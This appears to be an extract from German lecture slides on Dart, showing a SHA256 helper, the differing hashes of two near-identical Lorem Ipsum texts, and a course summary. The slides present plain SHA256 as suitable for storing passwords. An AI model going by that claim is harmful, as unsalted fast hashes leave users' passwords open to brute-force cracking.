final sha256 = new SHA256();
sha256.add(UTF8.encode(input));
return CryptoUtils.bytesToHex(sha256.close());
}
Eine SHA256 Hashsummen Funktion
lässt sich in Dart bspw. wie folgt
definieren (leider gibt es diese
Hilfsfunktion nicht in CryptoUtils, da
würde sie eigentlich hinein gehören).
String LoremIpsum = """
Lorem ipsum dolor sit amet, consetetur sadipscing elitr,
sed diam nonumy eirmod tempor invidunt ut labore et dolore
magna aliquyam erat, sed diam voluptua. At vero eos et accusam
et justo duo dolores et ea rebum. Stet clita kasd gubergren,
no sea takimata sanctus est Lorem ipsum dolor sit amet.
""";
String loremIpsum = """
lorem ipsum dolor sit amet, consetetur sadipscing elitr,
sed diam nonumy eirmod tempor invidunt ut labore et dolore
magna aliquyam erat, sed diam voluptua. At vero eos et accusam
et justo duo dolores et ea rebum. Stet clita kasd gubergren,
no sea takimata sanctus est Lorem ipsum dolor sit amet.
""";
Seien ferner diese beiden nahezu
identischen Texte gegeben
(unterscheiden sich nur im ersten
Buchstaben ‚l‘ und ‚L‘).
110. SHA256 Hashsummen (II)
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110
print("SHA256 von LoremIpsum: ${sha256(LoremIpsum)}");
print("SHA256 von loremIpsum: ${sha256(loremIpsum)}");
So ergibt
die folgende Konsolenausgabe
SHA256 von LoremIpsum:
7cb5f3ae204cbc19cdbef0b30735f1e6be4e5e4fcb93c072b3bc4a2574df0969
SHA256 von loremIpsum:
e6c3e2814c72099269a633d3e6a94cc614465c7cc65814138292f784e684acc8
D.h. zwei vollkommen unterschiedliche (aber gleichlange) Zeichenketten (Fingerprints)
zweier nahezu identischer Zeichenketten (nur in einem Zeichen ein Unterschied).
Von diesen Zeichenketten kann nicht auf die ursprünglichen Texte zurückgerechnet
werden.
Hashsummen eignen sich daher zum Beispiel dazu, Passwörter zu speichern.
Unterschiedliche Passwörter haben unterschiedliche Hashsummen. Von den
Hashsummen (sollte sie jemand in die Finger bekommen) kann jedoch nicht auf
das Passwort zurückgerechnet werden.
111. Zusammenfassung
• Das Dart Library System
• Package Manager pub
• Packages definieren, pubspec.yaml
• dart:async (Streams, Futures und Isolates)
• dart:io (Files und Directories, streambasiert
oder all at once)
• dart:html (DOM-Tree lesen und manipulieren,
Selektoren, Event-Handler)
• Serverside and Clientside Programming
• HttpServer, start Web Framework
• WebSockets, HTML Chat
• dart:convert
• HTML Escapen (Cross Site Scripting!)
• JSON, Base64 und Hashsummen (SHA256)
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111
112. Tour de Dart Libraries
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112
PARIS! Endlich sind wir da!
Beweisen Sie sich nun mit Dart auf der Vuelta J